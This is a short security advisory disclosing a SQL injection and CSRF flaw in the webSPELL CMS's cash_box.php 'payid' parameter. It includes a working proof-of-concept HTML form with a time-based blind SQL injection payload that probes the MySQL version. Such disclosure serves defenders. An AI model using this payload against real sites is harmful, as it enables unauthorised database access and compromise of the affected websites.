SQL Injection in webSPELL

High-Tech Bridge Security Research Lab discovered two vulnerabilities in a popular CMS webSPELL developed for the needs of esport related communities. The vulnerability allows a remote authenticated attacker with cashbox access privileges to execute arbitrary SQL commands in application’s database and completely compromise the vulnerable website. This vulnerability can be also exploited by non-authenticated and unprivileged attacker via the CSRF vector, to which the system is also prone.

The vulnerability exists due to insufficient filtration of user-supplied data passed via "payid" HTTP POST parameter to "/cash_box.php" script. A remote authenticated attacker, with cashbox access privileges, can alter the present SQL query and execute arbitrary SQL commands in application’s database.

A simple exploit below uses a time-based SQL injection technique to determine current version of MySQL server. The page will be loaded with some delay, if the current MySQL server version is 5.x:

<form action="http://[host]/cash_box.php" method="post" name="main">
<input type="hidden" name="pay" value="1">
<input type="hidden" name="payid[' PROCEDURE analyse((select extractvalue(rand(), concat(0x3a, (IF(MID(version(), 1, 1) LIKE 5, BENCHMARK(5000000, SHA1(1)), 1))))), 1) -- 2]" value="1">
<input value="submit" id="btn" type="submit" />
</form>

This vulnerability can be also exploited via CSRF vector, as the "/cash_box.php" script does not validate origin of HTTP request before processing user-supplied data in SQL query.